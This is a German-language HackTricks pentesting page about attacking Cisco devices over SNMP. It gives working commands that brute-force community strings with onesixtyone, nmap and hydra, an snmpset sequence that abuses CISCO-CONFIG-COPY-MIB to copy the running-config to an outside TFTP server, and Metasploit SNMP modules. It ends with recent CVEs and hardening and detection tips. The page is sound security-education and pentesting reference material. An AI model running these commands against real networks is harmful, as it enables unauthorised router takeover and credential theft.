Cisco SNMP

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Pentesting Cisco Netzwerke

SNMP funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Klartext-"Passwörter" dienen, die die Kommunikation zwischen SNMP-Agenten und -Managern ermöglichen. Diese Strings bestimmen das Zugriffslevel, insbesondere nur-Lese (RO) oder Lese-Schreib (RW) Berechtigungen.

Ein klassischer—aber immer noch äußerst effektiver—Angriffsvektor ist es, Community-Strings zu brute-forcen, um von einem nicht authentifizierten Benutzer zum Geräteadministrator (RW-Community) aufzusteigen. Ein praktisches Tool für diese Aufgabe ist onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Andere schnelle Optionen sind das Nmap NSE-Skript snmp-brute oder das SNMP-Modul von Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Konfiguration über SNMP dumpen (CISCO-CONFIG-COPY-MIB)

Wenn Sie eine RW-Community erhalten, können Sie die running-config/startup-config auf einen TFTP/FTP-Server ohne CLI-Zugriff kopieren, indem Sie die CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96) ausnutzen. Zwei gängige Ansätze sind:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

Das Skript orchestriert automatisch den Kopiervorgang und gibt die Konfiguration auf stdout aus.

  1. Manuelle snmpset-Sequenz
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

Row-Identifikatoren sind einmalig; eine Wiederverwendung innerhalb von fünf Minuten löst inconsistentValue-Fehler aus.

Sobald die Datei auf Ihrem TFTP-Server ist, können Sie Anmeldeinformationen (enable secret, username <user> secret usw.) überprüfen oder sogar eine modifizierte Konfiguration zurück an das Gerät senden.


Metasploit-Goodies

  • cisco_config_tftp – lädt die running-config/startup-config über TFTP herunter, nachdem dasselbe MIB missbraucht wurde.
  • snmp_enum – sammelt Geräteinventarinformationen, VLANs, Schnittstellenbeschreibungen, ARP-Tabellen usw.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Aktuelle Cisco SNMP-Sicherheitsanfälligkeiten (2023 – 2025)

Die Verfolgung von Anbieterhinweisen ist nützlich, um zero-day-to-n-day Möglichkeiten innerhalb eines Engagements zu identifizieren:

JahrCVEBetroffene FunktionAuswirkung
2025CVE-2025-20174SNMP-SubsystemGefälschter Paket führt zu authentifiziertem DoS (Neustart) auf IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373IPv4 ACL-VerarbeitungFalsch konfigurierte erweiterte ACLs fehlen still, was nicht authentifiziertes SNMP-Polling ermöglicht, wenn eine gültige Community/Nutzer bekannt ist.
2025(noch kein CVE)Umgehung der SNMPv3-KonfigurationsbeschränkungGültiger v3-Nutzer kann von Adressen abfragen, die abgelehnt werden sollten.

Die Ausnutzbarkeit hängt oft weiterhin davon ab, den Community-String oder v3-Anmeldeinformationen zu besitzen – ein weiterer Grund, warum das Brute-Forcing relevant bleibt.


Tipps zur Härtung & Erkennung

  • Upgrade auf eine feste IOS/IOS-XE-Version (siehe Cisco-Hinweis für das oben genannte CVE).
  • Bevorzugen Sie SNMPv3 mit authPriv (SHA-256/AES-256) gegenüber v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Binden Sie SNMP an ein Management-VRF und beschränken Sie es mit standard nummerierten IPv4-ACLs (erweiterte benannte ACLs sind riskant – CVE-2024-20373).
  • Deaktivieren Sie RW-Communities; wenn betrieblich erforderlich, beschränken Sie sie mit ACL und Ansichten: snmp-server community <string> RW 99 view SysView
  • Überwachen Sie auf:
  • UDP/161-Spitzen oder unerwartete Quellen (SIEM-Regeln).
  • CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource-Ereignisse, die Änderungen an der Konfiguration außerhalb der Bandbreite anzeigen.
  • Aktivieren Sie SNMPv3-Protokollierung und snmp-server packetsize 1500, um bestimmte DoS-Vektoren zu reduzieren.

Referenzen

  • Cisco: So kopieren Sie Konfigurationen zu und von Cisco-Geräten mithilfe von SNMP
  • Cisco-Sicherheitsberatung cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks